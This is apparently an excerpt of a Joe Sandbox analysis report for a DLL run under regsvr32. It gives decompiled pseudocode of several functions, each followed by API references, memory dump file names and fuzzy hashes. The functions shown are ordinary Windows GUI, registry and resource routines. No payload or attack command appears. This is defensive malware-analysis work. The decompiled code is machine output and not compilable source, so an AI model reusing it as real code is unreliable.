					if(( *(_t46 + 0xd8) & 0x00000008) == 0 ||  *((intOrPtr*)(_t45 + 0x98)) != _t56) {
						 *((long long*)(_t45 + 0xa0)) = _t46;
						r9d = 0;
						SendMessageA(??, ??, ??, ??);
						 *(_t46 + 0xd8) =  *(_t46 + 0xd8) | 0x00000008;
						r8d = 0xc8;
						E10024580();
						goto L11;
					} else {
						goto L9;
					}
				} else {
					 *((long long*)(_t45 + 0xa0)) = 0;
					if(( *(_t46 + 0xd8) & 0x00000008) == 0) {
						KillTimer();
						L9:
						return 0;
					}
					r9d = 0;
					r8d = 0xe001;
					SendMessageA(??, ??, ??, ??);
					 *(_t46 + 0xd8) =  *(_t46 + 0xd8) & 0xfffffff7;
					goto L11;
				}
			}

0x10025140
0x10025140
0x10025140
0x10025149
0x1002514c
0x10025154
0x10025154
0x1002515a
0x1002515d
0x10025169
0x1002522a
0x00000000
0x1002522a
0x1002516f
0x10025176
0x1002517c
0x10025182
0x10025182
0x10025185
0x1002518d
0x10025196
0x100251e5
0x100251f4
0x100251ff
0x1002520a
0x10025210
0x1002521c
0x10025225
0x00000000
0x00000000
0x00000000
0x00000000
0x10025198
0x10025198
0x100251aa
0x100251d6
0x100251f0
0x00000000
0x100251f0
0x100251b0
0x100251b8
0x100251be
0x100251c4
0x00000000
0x100251c4

APIs

GetParent.USER32 ref: 1002517C
SendMessageA.USER32 ref: 100251BE
KillTimer.USER32 ref: 100251D6

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: KillMessageParentSendTimer
String ID:
API String ID: 2710755332-0
Opcode ID: c7a3ee4158c743133ff692f7c5cbdfd52728ad924fac59facf406256f60ac002
Instruction ID: 004a4fb55220ea95a7ed0835fa57194a8f252a1681ff2c68fc509e71eceede63
Opcode Fuzzy Hash: c7a3ee4158c743133ff692f7c5cbdfd52728ad924fac59facf406256f60ac002
Instruction Fuzzy Hash: 20210132701A8482E751CB61FC0539D36A0F78AFEAF558235CE6A5BBD5DF36C8998300

Uniqueness

Uniqueness Score: -1.00%

Function 10015280 Relevance: 6.1, APIs: 4, Instructions: 56
windowCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E10015280(intOrPtr __edx, void* __rax, intOrPtr __rdx, long long __r8, long long __r9, void* __r10, intOrPtr _a16, long long _a24, intOrPtr _a40, intOrPtr _a48) {
				intOrPtr _v48;
				long long _v56;
				struct HWND__* _t15;
				void* _t21;
				void* _t22;
				intOrPtr _t26;
				intOrPtr _t27;
				void* _t34;
				void* _t35;
				void* _t36;
				long long _t42;
				void* _t52;
				void* _t53;

				_t52 = __r10;
				_t41 = __rdx;
				_t34 = __rax;
				_t23 = __edx;
				_a24 = __r8;
				_a16 = __edx;
				_t42 = __r9;
				_t15 = GetTopWindow(??);
				_t35 = __rax;
				if(__rax == 0) {
					L10:
					return _t15;
				} else {
					_t26 = _a48;
					_t27 = _a40;
					do {
						_t36 = _t35;
						if(_t26 == 0) {
							_t47 = _a24;
							SendMessageA(??, ??, ??, ??);
						} else {
							E1001439C(_t21, _t22, _t27, _t34, _t36, _t41, _t53);
							if(_t34 != 0) {
								r8d = _a16;
								_t41 =  *((intOrPtr*)(_t34 + 0x40));
								_v56 = _t42;
								E10014E0C(_t21, _t22, _t23, _t27, _t34, _t34,  *((intOrPtr*)(_t34 + 0x40)), _t47, _a24, _t52, _t53);
							}
						}
						if(_t27 != 0) {
							GetTopWindow();
							if(_t34 != 0) {
								_t47 = _a24;
								_v48 = _t26;
								_v56 = _t27;
								E10015280(_a16, _t34, _t41, _a24, _t42, _t52);
							}
						}
						_t23 = 2;
						_t15 = GetWindow(??, ??);
						_t35 = _t34;
					} while (_t34 != 0);
					goto L10;
				}
			}

0x10015280
0x10015280
0x10015280
0x10015280
0x10015280
0x10015285
0x10015291
0x10015294
0x1001529d
0x100152a0
0x1001533c
0x10015344
0x100152a6
0x100152a6
0x100152ad
0x100152b4
0x100152b6
0x100152b9
0x100152e2
0x100152ee
0x100152bb
0x100152bb
0x100152c3
0x100152ca
0x100152cf
0x100152d6
0x100152db
0x100152db
0x100152c3
0x100152f6
0x100152fb
0x10015304
0x10015306
0x10015315
0x10015319
0x1001531d
0x1001531d
0x10015304
0x10015322
0x1001532a
0x10015333
0x10015333
0x00000000
0x100152b4

APIs

GetTopWindow.USER32 ref: 10015294
SendMessageA.USER32 ref: 100152EE
GetTopWindow.USER32 ref: 100152FB
GetWindow.USER32 ref: 1001532A

Part of subcall function 10014E0C: GetWindowRect.USER32 ref: 10014ED7

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$MessageRectSend
String ID:
API String ID: 3783401013-0
Opcode ID: 6f2f735708e43904a310fb51571ae59be6efabac5e932a4e551e60b4afa175bc
Instruction ID: 4e7a5b91c817dbdabf46213245ce1bce8e421ddd42594c9642dfbf05eb1e4e8b
Opcode Fuzzy Hash: 6f2f735708e43904a310fb51571ae59be6efabac5e932a4e551e60b4afa175bc
Instruction Fuzzy Hash: 2B112B37646780CADA51CF52B80479AB7A0FB8ABD1F194129EE890F718DF7CD585CB80

Uniqueness

Uniqueness Score: -1.00%

Function 10016C80 Relevance: 6.1, APIs: 4, Instructions: 55
windowCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E10016C80(void* __ecx, void* __esi, intOrPtr* __rcx, void* __r8, void* __r9, void* __r10, void* __r11) {
				intOrPtr _v32;
				intOrPtr _v40;
				struct HWND__* _t18;
				void* _t29;
				intOrPtr _t34;
				intOrPtr* _t35;
				void* _t45;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t49;

				_t49 = __r11;
				_t48 = __r10;
				_t47 = __r9;
				_t46 = __r8;
				_t29 = __esi;
				_t34 =  *__rcx;
				_t35 = __rcx;
				if( *((intOrPtr*)(_t34 + 0x240))() != 0) {
					_t34 =  *__rcx;
					 *((intOrPtr*)(_t34 + 0x2e0))();
				}
				r9d = 0;
				r8d = 0;
				_t4 = _t47 + 0x1f; // 0x1f
				_t28 = _t4;
				SendMessageA(??, ??, ??, ??);
				r9d = 0;
				r8d = 0;
				_v32 = 1;
				_v40 = 1;
				E10015280(_t4, _t34, _t45, _t46, _t47, _t48);
				E10016024(_t29, _t34, _t35, _t45, _t49);
				if(_t34 == 0) {
					E1000E3A4();
					asm("int3");
				}
				r9d = 0;
				r8d = 0;
				SendMessageA(??, ??, ??, ??);
				r9d = 0;
				r8d = 0;
				_v32 = 1;
				_v40 = 1;
				E10015280(_t28, _t34, _t45, _t46, _t47, _t48);
				_t18 = GetCapture();
				if(_t34 != 0) {
					r9d = 0;
					r8d = 0;
					return SendMessageA(??, ??, ??, ??);
				}
				return _t18;
			}

0x10016c80
0x10016c80
0x10016c80
0x10016c80
0x10016c80
0x10016c87
0x10016c8a
0x10016c95
0x10016c97
0x10016c9d
0x10016c9d
0x10016ca7
0x10016caa
0x10016cad
0x10016cad
0x10016cb3
0x10016cbd
0x10016cc0
0x10016cc5
0x10016ccd
0x10016cd5
0x10016cdd
0x10016ce8
0x10016cea
0x10016cef
0x10016cef
0x10016cf4
0x10016cf7
0x10016cfc
0x10016d06
0x10016d09
0x10016d0e
0x10016d16
0x10016d1e
0x10016d23
0x10016d2c
0x10016d2e
0x10016d31
0x00000000
0x10016d39
0x10016d45

APIs

SendMessageA.USER32 ref: 10016CB3
SendMessageA.USER32 ref: 10016CFC
GetCapture.USER32 ref: 10016D23
SendMessageA.USER32 ref: 10016D39

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: MessageSend$Capture
String ID:
API String ID: 1665607226-0
Opcode ID: 46ff7ac53cf5e722eb182803ac0e8a86e8f1f29c3836ad9c972f79e2feea56c8
Instruction ID: 4e207b97a6c28dae6bdc9fae6bb0d87bdc33d0bd4f579d25aed4f85026fbbe96
Opcode Fuzzy Hash: 46ff7ac53cf5e722eb182803ac0e8a86e8f1f29c3836ad9c972f79e2feea56c8
Instruction Fuzzy Hash: E011823671064483EB209B65E869B5E3B91FBCDB88F585010DE4E0BB15DFB9C0858B01

Uniqueness

Uniqueness Score: -1.00%

Function 1001E28C Relevance: 6.1, APIs: 4, Instructions: 54registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32 ref: 1001E2EC
RegCloseKey.ADVAPI32 ref: 1001E2F7
sprintf_s.LIBCMTD ref: 1001E318
WritePrivateProfileStringA.KERNEL32 ref: 1001E32F

Part of subcall function 1001E20C: RegCreateKeyExA.ADVAPI32 ref: 1001E26D
Part of subcall function 1001E20C: RegCloseKey.ADVAPI32 ref: 1001E276

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Close$CreatePrivateProfileStringValueWritesprintf_s
String ID:
API String ID: 1187789483-0
Opcode ID: 543299a05f6e0a3c7a7340d082227a21cfea09d768eb547676159925123a19b3
Instruction ID: 6d02112dbfd94fa20b2888f04bec1803c96d4976460120e96bd1fc4dee40b834
Opcode Fuzzy Hash: 543299a05f6e0a3c7a7340d082227a21cfea09d768eb547676159925123a19b3
Instruction Fuzzy Hash: 0511CE76315A8486EA51CB61BD5879EA365F749FD4F940022FE8E0BB58DE38C5828B00

Uniqueness

Uniqueness Score: -1.00%

Function 100194DC Relevance: 6.1, APIs: 4, Instructions: 52
windowCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E100194DC(void* __ebx, void* __ecx, void* __edx, void* __rax, void* __rcx, void* __rdx, void* __r8, void* __r9, void* __r11) {
				void* _t14;
				int _t15;
				void* _t22;
				void* _t24;
				void* _t33;
				void* _t34;
				void* _t42;
				void* _t44;
				void* _t45;
				void* _t46;

				_t46 = __r11;
				_t45 = __r9;
				_t44 = __r8;
				_t42 = __rdx;
				_t33 = __rax;
				_t24 = __edx;
				_t22 = __ebx;
				_t34 = __rcx;
				if( *((intOrPtr*)(__rcx + 0x10)) == 0) {
					if( *((long long*)(__rcx + 0x20)) == 0) {
						E1000E3A4();
						asm("int3");
					}
					if(_t24 == 0) {
						GetFocus();
						if(_t33 ==  *((intOrPtr*)( *((intOrPtr*)(_t34 + 0x20)) + 0x40))) {
							GetParent();
							E10014360(_t22, _t24, _t33, _t33, _t42, _t44, _t45, _t46);
							r9d = 0;
							r8d = 0;
							SendMessageA(??, ??, ??, ??);
						}
					}
					_t15 = E10019A70( *((intOrPtr*)(_t34 + 0x20)));
					L11:
					 *((intOrPtr*)(_t34 + 0x28)) = 1;
					return _t15;
				}
				if( *((long long*)(__rcx + 0x18)) != 0) {
					return _t14;
				}
				if( *((intOrPtr*)(__rcx + 0xc)) >=  *((intOrPtr*)(__rcx + 0x30))) {
					E1000E3A4();
					asm("int3");
				}
				asm("inc ebp");
				r8d =  !r8d;
				r8d = r8d & 0x00000003;
				asm("inc ecx");
				_t15 = EnableMenuItem(??, ??, ??);
				goto L11;
			}

0x100194dc
0x100194dc
0x100194dc
0x100194dc
0x100194dc
0x100194dc
0x100194dc
0x100194e4
0x100194f0
0x1001952d
0x1001952f
0x10019534
0x10019534
0x10019537
0x1001953d
0x10019547
0x1001954d
0x10019556
0x1001955b
0x1001955e
0x10019569
0x10019569
0x10019547
0x10019575
0x1001957a
0x1001957a
0x00000000
0x1001957a
0x100194f7
0x10019588
0x10019588
0x10019503
0x10019505
0x1001950a
0x1001950a
0x10019511
0x10019514
0x10019517
0x1001951b
0x10019520
0x00000000

APIs

EnableMenuItem.USER32 ref: 10019520
GetFocus.USER32 ref: 1001953D
GetParent.USER32 ref: 1001954D
SendMessageA.USER32 ref: 10019569

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: EnableFocusItemMenuMessageParentSend
String ID:
API String ID: 2297321873-0
Opcode ID: 3b3af370dcc05a4ac2d9520217b2bebc88bf414b5554904fea737d7a3856a089
Instruction ID: 9d6ba22ac462750bd2557fb369bab57238cd35bebf38da4b42ff517f0babfc94
Opcode Fuzzy Hash: 3b3af370dcc05a4ac2d9520217b2bebc88bf414b5554904fea737d7a3856a089
Instruction Fuzzy Hash: 9411CE7AA1099583EB26DF61E88575C2372FBC8F88F655120CE4E0BA18CF75C8C18B41

Uniqueness

Uniqueness Score: -1.00%

Function 100147C4 Relevance: 6.1, APIs: 4, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E100147C4(void* __edx, void* __rax, void* __rcx) {
				void* _t4;
				void* _t9;
				void* _t10;
				void* _t14;
				void* _t15;
				void* _t16;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t29;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t35;

				_t21 = __rax;
				_t11 = __edx;
				_t14 = r8d;
				_t16 = __edx;
				GetDlgItem(??, ??);
				_t22 = __rax;
				if(__rax == 0) {
					L6:
					GetTopWindow();
					while(1) {
						_t23 = _t21;
						if(_t21 == 0) {
							break;
						}
						r8d = _t14;
						_t4 = E100147C4(_t16, _t21, _t23);
						if(_t21 == 0) {
							GetWindow();
							continue;
						}
						goto L11;
					}
					return 0;
				} else {
					GetTopWindow();
					if(__rax == 0) {
						L3:
						_t29 = _t22;
						if(_t14 == 0) {
							return E10014360(_t9, _t11, _t21, _t29, _t31, _t33, _t34, _t35);
						}
						_t4 = E1001439C(_t9, _t10, _t15, _t21, _t29, _t31, _t35);
						if(_t21 == 0) {
							goto L6;
						}
					} else {
						r8d = _t14;
						_t11 = __edx;
						_t4 = E100147C4(__edx, __rax, __rax);
						if(__rax == 0) {
							goto L3;
						}
					}
				}
				L11:
				return _t4;
			}

0x100147c4
0x100147c4
0x100147cd
0x100147d0
0x100147d5
0x100147de
0x100147e1
0x1001481b
0x1001481e
0x10014844
0x10014847
0x1001484a
0x00000000
0x00000000
0x10014826
0x1001482e
0x10014836
0x1001483e
0x00000000
0x1001483e
0x00000000
0x10014836
0x00000000
0x100147e3
0x100147e6
0x100147ef
0x10014803
0x10014805
0x10014808
0x00000000
0x1001480a
0x10014811
0x10014819
0x00000000
0x00000000
0x100147f1
0x100147f1
0x100147f4
0x100147f9
0x10014801
0x00000000
0x00000000
0x10014801
0x100147ef
0x10014856
0x10014856

APIs

GetDlgItem.USER32 ref: 100147D5
GetTopWindow.USER32 ref: 100147E6

Part of subcall function 100147C4: GetWindow.USER32 ref: 1001483E

GetTopWindow.USER32 ref: 1001481E

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: abed01f4cd661a092475ccc139473b36d6c84dbf1faafb5444814cdb1a798c81
Instruction ID: cefe4a8a34362b2747167380a7644d41d58ce2c5bc05363afa3411b912fe2249
Opcode Fuzzy Hash: abed01f4cd661a092475ccc139473b36d6c84dbf1faafb5444814cdb1a798c81
Instruction Fuzzy Hash: 02018B2174639242ED0ADB222C0576C92D0DF89FD1F0F54388C0E0F361EEB8E8C68340

Uniqueness

Uniqueness Score: -1.00%

Function 10029BE0 Relevance: 6.0, APIs: 4, Instructions: 49stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 10029C1C
GetWindowTextA.USER32 ref: 10029C4E
lstrcmpA.KERNEL32 ref: 10029C60
SetWindowTextA.USER32 ref: 10029C70

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: TextWindow$lstrcmplstrlen
String ID:
API String ID: 330964273-0
Opcode ID: 70f9039e0c7708bbdc35e7bedfb5b094ebd3defc3236b1e1dfd14e0bab39435c
Instruction ID: 9992afe2d458986c4dc7ddf53e71ecd300a0511bf55091bf0e132bedfdcb0f76
Opcode Fuzzy Hash: 70f9039e0c7708bbdc35e7bedfb5b094ebd3defc3236b1e1dfd14e0bab39435c
Instruction Fuzzy Hash: 4501927570468141FE26EB21B9983AA93D2FF8DBC4F944030DE8E47A49EF6CC9858B01

Uniqueness

Uniqueness Score: -1.00%

Function 1002C3E0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

OffsetRect.USER32 ref: 1002C41B
OffsetRect.USER32 ref: 1002C42A
OffsetRect.USER32 ref: 1002C439
OffsetRect.USER32 ref: 1002C448

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: OffsetRect
String ID:
API String ID: 177026234-0
Opcode ID: cb2f9e383675a4592c977038bc3cd19cd20e6ca1d9f9e5a08dd79a0fcf58a3dc
Instruction ID: e9b065d01a0df9e6290a41d90045a5c0b756f1b52a4a04b8154b325203883202
Opcode Fuzzy Hash: cb2f9e383675a4592c977038bc3cd19cd20e6ca1d9f9e5a08dd79a0fcf58a3dc
Instruction Fuzzy Hash: 3601B9327109958ADB21DF76AC443A9A7E5FB8CFD4F549021DE0D83718DEB8C586C780

Uniqueness

Uniqueness Score: -1.00%

Function 1001F660 Relevance: 6.0, APIs: 4, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E1001F660(void* __ebx, signed int __ecx, void* __edx, void* __esi, void* __rcx, void* __rdx, void* __r8, void* __r11) {
				signed int _v56;
				void* _v328;
				void* _t16;
				signed int _t17;
				int _t22;
				signed long long _t26;
				signed long long _t27;
				intOrPtr* _t40;
				void* _t44;

				_t17 = __ecx;
				_t41 =  &_v328;
				_t26 =  *0x100b1640; // 0xf93099fb11e7
				_t27 = _t26 ^  &_v328;
				_v56 = _t27;
				SetActiveWindow(??);
				E10014360(__ebx, __edx, _t27, _t27, __rdx, __r8, _t44, __r11);
				r9d = 0;
				r8d = 0;
				_t22 = DragQueryFileA(??, ??, ??, ??);
				E1001A994(__ebx, 0xffffffff, __esi, _t27, __r8, _t44, __r11);
				_t16 = 0;
				_t40 =  *((intOrPtr*)(_t27 + 8));
				if(_t22 > 0) {
					do {
						r9d = 0x104;
						DragQueryFileA(??, ??, ??, ??);
						 *((intOrPtr*)( *_t40 + 0x110))();
						_t16 = _t16 + 1;
					} while (_t16 < _t22);
				}
				DragFinish();
				return E1002FF40(_t17, _v56 ^ _t41);
			}

0x1001f660
0x1001f665
0x1001f66c
0x1001f673
0x1001f676
0x1001f685
0x1001f68e
0x1001f693
0x1001f696
0x1001f6a7
0x1001f6a9
0x1001f6ae
0x1001f6b2
0x1001f6b6
0x1001f6b8
0x1001f6bd
0x1001f6c8
0x1001f6d9
0x1001f6e0
0x1001f6e3
0x1001f6b8
0x1001f6ea
0x1001f70b

APIs

SetActiveWindow.USER32 ref: 1001F685
DragQueryFileA.SHELL32 ref: 1001F6A1
DragQueryFileA.SHELL32 ref: 1001F6C8
DragFinish.SHELL32 ref: 1001F6EA

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Drag$FileQuery$ActiveFinishWindow
String ID:
API String ID: 892977027-0
Opcode ID: f2b72e440ccb41507c87b27803b78969df4f3087148e936aa9169d36cf301270
Instruction ID: 2ee32a198d15ce6836d210341f7cdb2e47d8e76caae7147740963d1d550fc7a6
Opcode Fuzzy Hash: f2b72e440ccb41507c87b27803b78969df4f3087148e936aa9169d36cf301270
Instruction Fuzzy Hash: 4B01923A704A8446EA61DB25F9957BD63A1FB8EBD4F401025DE5D07714DE7CC5C6C700

Uniqueness

Uniqueness Score: -1.00%

Function 1001888C Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E1001888C(void* __ecx, void* __esi, void* __rax, void* __rcx, void* __rdx, void* __r10) {
				void* _t7;
				void* _t10;
				void* _t11;
				void* _t14;
				void* _t21;
				void* _t32;
				void* _t34;
				void* _t35;
				void* _t36;
				void* _t37;
				void* _t38;

				_t37 = __r10;
				_t20 = __rax;
				_t10 = __ecx;
				_t34 = __rcx;
				if(__rdx == 0) {
					L4:
					_t14 = E1001830C(0, _t10, _t20, _t34, _t32, _t35, _t36, _t37);
					if(_t32 != 0 && _t21 != 0) {
						FreeResource();
					}
					return _t14;
				}
				E1001A994(0, _t11, __esi, __rax, _t35, _t36, _t38);
				r8d = 0xf0;
				FindResourceA(??, ??, ??);
				if(__rax == 0) {
					goto L4;
				}
				_t7 = LoadResource();
				_t21 = __rax;
				if(__rax != 0) {
					LockResource();
					_t32 = __rax;
					goto L4;
				}
				return _t7;
			}

0x1001888c
0x1001888c
0x1001888c
0x100188a1
0x100188a4
0x100188e6
0x100188f4
0x100188f6
0x10018900
0x10018900
0x00000000
0x10018906
0x100188a6
0x100188ab
0x100188bb
0x100188c4
0x00000000
0x00000000
0x100188cc
0x100188d5
0x100188d8
0x100188dd
0x100188e3
0x00000000
0x100188e3
0x10018912

APIs

FindResourceA.KERNEL32 ref: 100188BB
LoadResource.KERNEL32(?,?,?,1001B15C), ref: 100188CC
LockResource.KERNEL32(?,?,?,1001B15C), ref: 100188DD
FreeResource.KERNEL32(?,?,?,1001B15C), ref: 10018900

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 951e15ebf202a25ee4779eb7239dc185cdb59f559e4e75d895b979dfcb68b4e3
Instruction ID: f25836276fedbefb8ceb0d76c0cb4f9265f33818952fb2ad1c171b12cbb42613
Opcode Fuzzy Hash: 951e15ebf202a25ee4779eb7239dc185cdb59f559e4e75d895b979dfcb68b4e3
Instruction Fuzzy Hash: BAF08756302A404AEE4AEB532E087755695AF89FE2F0D4038AC0D4F754FE38CAC1D300

Uniqueness

Uniqueness Score: -1.00%

Function 1000DC78 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43
stringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E1000DC78(void* __edx, void* __rax, void* __rcx) {
				void* _t12;
				void* _t13;
				void* _t14;
				void* _t15;
				void* _t18;
				int _t24;
				void* _t35;
				void* _t38;
				void* _t39;

				_t12 = __edx;
				_t38 = __rcx;
				E1000DD84(__edx, _t18, __rax, _t35, _t39);
				r8d = __edx;
				lstrcpynA(??, ??, ??);
				_t24 = lstrlenA(??);
				do {
					_t12 = _t12 - 1;
					_t24 = _t24 - 1;
				} while (_t24 >= 0 &&  *((char*)(_t24 + _t38)) != 0x5c);
				_t13 = _t12 + 1;
				 *((char*)(_t13 + _t38)) = 0;
				_t14 = _t13 + wsprintfA(??, ??);
				if(E10031C70(0, _t24, _t38) != 0) {
					E10031C30();
				}
				_t15 = _t14 + 1;
				 *((char*)(_t14 + _t38)) = 0x5c;
				 *((char*)(_t15 + _t38)) = 0;
				return _t15;
			}

0x1000dc7f
0x1000dc81
0x1000dc84
0x1000dc90
0x1000dc96
0x1000dca8
0x1000dcab
0x1000dcab
0x1000dcae
0x1000dcae
0x1000dcba
0x1000dcca
0x1000dcd8
0x1000dce1
0x1000dce6
0x1000dce6
0x1000dcee
0x1000dcf1
0x1000dcf8
0x1000dd04

APIs

lstrcpynA.KERNEL32(?,?,00000000,?,1000DD17,?,?,00000000,?,1000DD74), ref: 1000DC96
lstrlenA.KERNEL32(?,?,00000000,?,1000DD17,?,?,00000000,?,1000DD74), ref: 1000DC9F
wsprintfA.USER32 ref: 1000DCCD

Strings

Log, xrefs: 1000DCBD

Memory Dump Source

